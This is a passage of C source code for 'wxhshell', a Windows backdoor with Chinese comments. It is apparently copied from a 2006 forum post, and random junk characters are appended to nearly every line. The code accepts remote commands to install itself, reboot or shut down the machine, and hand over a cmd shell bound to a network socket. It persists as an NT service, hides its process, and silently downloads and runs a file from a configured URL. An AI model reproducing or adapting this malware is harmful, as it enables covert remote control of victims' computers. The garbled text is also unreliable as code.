  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /a^ R$RHl'  
  } YyxU/UnhG  
  else { bD,X.  
Jf?6y~X>Y  
    switch(cmd[0]) { O%kUj&h^  
  }ww/e\|Nt=  
  // 帮助 Bz_'>6w  
  case '?': { zsJ# CDm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]87BP%G  
    break; :sg}e  
  } Dj96t5R  
  // 安装 HuTtp|zM>  
  case 'i': { LE<J<~2Z  
    if(Install()) ?< b{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J?3/L&seA  
    else )pHlWi|h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GqRXNs!  
    break; FiiDmhu  
    } I)'bf/6?  
  // 卸载 ujxr/8mjV  
  case 'r': { 70 7( LG  
    if(Uninstall()) *p $0(bz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:ucp2  
    else Oh$:qu7o0&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`WRy}o  
    break; |~BnE  
    } {7goYzQsi%  
  // 显示 wxhshell 所在路径 4Wiy2  
  case 'p': { <v0`r2^S{-  
    char svExeFile[MAX_PATH]; RX>P-vp  
    strcpy(svExeFile,"\n\r"); 0uDDaFS  
      strcat(svExeFile,ExeFile); #gV n7wq  
        send(wsh,svExeFile,strlen(svExeFile),0); I2*rtVAP'j  
    break; * HKu%g  
    }  %nY\"  
  // 重启 Pt"H_SW~k  
  case 'b': { 'M>m$cCMZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aq$ hE-{28  
    if(Boot(REBOOT)) :/|"db&`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RA[j=RxK  
    else { V+Tv:a  
    closesocket(wsh); bOj)Wu  
    ExitThread(0); VdK%m`;2  
    } x>[]Qk^?q  
    break; Io.RT+slB  
    } AChz}N$C  
  // 关机 |2q3spd  
  case 'd': { A0)^I:&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f zo'9  
    if(Boot(SHUTDOWN)) h) Wp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Hd yra  
    else { &Pr\n&9A  
    closesocket(wsh); Zigv;}#  
    ExitThread(0); :82h GU  
    } 2 DW @}[G  
    break; v3-' G gM  
    } EhHxB fAQ  
  // 获取shell en< $.aY  
  case 's': { {Uw 0zC  
    CmdShell(wsh); e NIzI]~  
    closesocket(wsh); ]X>yZec  
    ExitThread(0); tON>wmN  
    break; pIlEoG=[_  
  } a<G&}|6  
  // 退出 6^Wep- $  
  case 'x': { &|>~7(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GF ux?8A:%  
    CloseIt(wsh); |HK:\)L%  
    break; ZUQ _u  
    } >Wr%usNxc  
  // 离开 d<a|dwAeh  
  case 'q': { O{LCHtN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '}_r/l]K  
    closesocket(wsh); Z0Z6a Zeb  
    WSACleanup(); Xi&J%N'  
    exit(1); W*C~Xba<  
    break; I$7eiW @  
        } +& r!%j7  
  } OjUPvR2 0  
  }  `t U  
C{}_Rb'x  
  // 提示信息 \~5|~|9<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q7X]kr*qx  
} D`LBv,n  
  } Q7865  
!K>iSF<  
  return; KMRPleF  
} =5+*TL`  
sasurR|;  
// shell模块句柄 6z9 '|;,4  
int CmdShell(SOCKET sock) TQ4@|S:OF  
{ {6'X z  
STARTUPINFO si; L|'^P3#7`  
ZeroMemory(&si,sizeof(si)); >pU9}2fpT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P3_.U8g$r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H -kX-7C  
PROCESS_INFORMATION ProcessInfo; $`F9e5}G  
char cmdline[]="cmd"; UPh#YV 0/,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &N7ji  
  return 0; ?"d$SK"6Z  
} IP62|~Ap  
YQ+hQ:4-  
// 自身启动模式 ]i*ucW4  
int StartFromService(void) .9jKD*U|  
{ z]G|)16  
typedef struct s*izhjjX  
{ 0* $w(*  
  DWORD ExitStatus; ?%s>a8w  
  DWORD PebBaseAddress; x}] 56f  
  DWORD AffinityMask; W7>2&$  
  DWORD BasePriority; II\&)_S.4  
  ULONG UniqueProcessId; =c[tHf  
  ULONG InheritedFromUniqueProcessId; Y9+_MxC"  
}   PROCESS_BASIC_INFORMATION; S0,\{j  
Qz~uD'Rs/  
PROCNTQSIP NtQueryInformationProcess; h|qJ{tUWc$  
vQMBJ&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8`q7Yss6F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TekUY m!G  
|mb2<!ag{  
  HANDLE             hProcess; 7j]v_2S`  
  PROCESS_BASIC_INFORMATION pbi; ~e{ @5.g  
1 R5 pf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZwmucY%3  
  if(NULL == hInst ) return 0; -#|D>  
q A)O kR'm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cr1x CPJj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  ?%,NOX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P$)g=/td1  
}s}g}t8v-  
  if (!NtQueryInformationProcess) return 0; <)VgGjZ-H  
f`9Mcli !  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V ;T :Q%  
  if(!hProcess) return 0; A6&*VD  
d#ir=+o{h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !J`lA  
ZaFt4#  
  CloseHandle(hProcess); yayhL DL  
c3vb~l)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cw Obq\  
if(hProcess==NULL) return 0; aB]0?C y9(  
2xI|G 3U  
HMODULE hMod; 4<efj  
char procName[255]; `Fy-"Uf  
unsigned long cbNeeded; (j: ptQ2$  
V>{< pS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'YL[s  
FwCb$yE#M  
  CloseHandle(hProcess); @YJI'Hf67  
:D.0\.p  
if(strstr(procName,"services")) return 1; // 以服务启动 z|l*5@p  
+ ?1GscJ   
  return 0; // 注册表启动 8Lo#{`  
} f[^f/jGm  
K+B978XD  
// 主模块 %Sr+D{B  
int StartWxhshell(LPSTR lpCmdLine) 7},A. q  
{ )BP*|URc  
  SOCKET wsl; tdy2ZPVtTV  
BOOL val=TRUE; mDB  
  int port=0; V>Wk\'h  
  struct sockaddr_in door; \/a6h   
r* *zjv>  
  if(wscfg.ws_autoins) Install(); M^FY6TT4O  
c`;\sW-_W  
port=atoi(lpCmdLine); n<I{x^!  
rwm^{Qa  
if(port<=0) port=wscfg.ws_port; IPiV_c-l  
sibYJKOy  
  WSADATA data; ]-fkmnmWX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $XBK_ 5  
zG!nqSDG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dAo;y.3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {zdMmpQF  
  door.sin_family = AF_INET; c'2d+*[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rqdwQ  
  door.sin_port = htons(port); \@LTXH.  
~wc :/UM|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uV/5f#)  
closesocket(wsl); V~J5x >O  
return 1; qWt}8_"  
} -yYdj1y;  
 N;7/C  
  if(listen(wsl,2) == INVALID_SOCKET) { #(8|9  
closesocket(wsl); qUe _B  
return 1; pSZ2>^";  
} c OYD N[k  
  Wxhshell(wsl); okNo- \Dh!  
  WSACleanup(); G0cG%sIl  
Tkbao D  
return 0; .])prp8  
NFK`,  
} eI #Gx_mg  
7R+(3NU1A  
// 以NT服务方式启动 6b|?@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |{jT+  
{ AOf4y&B>q  
DWORD   status = 0; 6*OL.~WE  
  DWORD   specificError = 0xfffffff; '%)R}wgV  
[}RoZB&I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GK(CuwJe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U)S=JT~h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :!ya&o  
  serviceStatus.dwWin32ExitCode     = 0; e|~MJu+1  
  serviceStatus.dwServiceSpecificExitCode = 0; XR5KJl  
  serviceStatus.dwCheckPoint       = 0; Xlo7enzY  
  serviceStatus.dwWaitHint       = 0; wb-yAQ8  
7*/{m K)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5=dL`  
  if (hServiceStatusHandle==0) return; B@,9Cx564  
{|;a?] ?  
status = GetLastError(); x-^6U  
  if (status!=NO_ERROR) 8a)AuAi?!  
{ Ic& h8vSU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WzMYRKZ  
    serviceStatus.dwCheckPoint       = 0; 5En6f`nR{  
    serviceStatus.dwWaitHint       = 0; 0}{xH  
    serviceStatus.dwWin32ExitCode     = status; NE995;  
    serviceStatus.dwServiceSpecificExitCode = specificError; iyskADS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s?SspuV  
    return; x3@-E  
  } /@os*c|je  
+SJ.BmT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {K(mfTqm  
  serviceStatus.dwCheckPoint       = 0; IG-\&  
  serviceStatus.dwWaitHint       = 0; N^^0j,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :5d>^6eoB?  
} S{Y zHK  
)Q)qz$h@  
// 处理NT服务事件,比如:启动、停止 BFLef3~.0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7>JYwU{  
{ `i7r]  
switch(fdwControl) U=>S|>daR  
{ k[=qx{Osx%  
case SERVICE_CONTROL_STOP: 0lw>mxN  
  serviceStatus.dwWin32ExitCode = 0; X/!_>@`7?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0mw1CUx9K  
  serviceStatus.dwCheckPoint   = 0; yPyu)  
  serviceStatus.dwWaitHint     = 0; NnZW@ln"|  
  { t [QD#;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ {Z0@G+  
  } Xtp8 ^4Va  
  return; 1uF$$E6[  
case SERVICE_CONTROL_PAUSE: Q YJ EUC@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cHFi(K]|1  
  break; 0X$mT:=9  
case SERVICE_CONTROL_CONTINUE: 99m2aT()  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,d G.67  
  break; ``o]i{x  
case SERVICE_CONTROL_INTERROGATE: Z`Yt~{,Q  
  break; pwUXM?$R  
}; eH&F gmU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^aFm6HS1  
} 9I/b$$?D  
MNT~[Z9L5G  
// 标准应用程序主函数 rk=D5E7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^xo<$zn  
{ .nV2 n@SR  
>J"IN I  
// 获取操作系统版本 DA=!AK>  
OsIsNt=GetOsVer(); ~lj~]j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -[>de! T3$  
{C1crp>q  
  // 从命令行安装 A~ya{^}  
  if(strpbrk(lpCmdLine,"iI")) Install(); sXKkZ+2q  
lU WXXuO]  
  // 下载执行文件 7Z-j'pq  
if(wscfg.ws_downexe) { Z%T Ajm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sn CwoxK  
  WinExec(wscfg.ws_filenam,SW_HIDE); : =QX^*  
} qHtQ4_Zn;  
R!nf^*~  
if(!OsIsNt) { 1/_g36\l$  
// 如果时win9x,隐藏进程并且设置为注册表启动 K!|eN_1A  
HideProc(); VK}4 <u  
StartWxhshell(lpCmdLine); 8&<:(mAP  
} gesbt  
else  :Mx  
  if(StartFromService()) _0/unJl`  
  // 以服务方式启动 Dc9uq5l  
  StartServiceCtrlDispatcher(DispatchTable); k.@![w\ea  
else Z9{~t  
  // 普通方式启动 8-$t7bV5  
  StartWxhshell(lpCmdLine); ?W/.'_  
Z~'t'.=z  
return 0; t;O)   
}
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只看该作者 1 发表于: 2006-10-10
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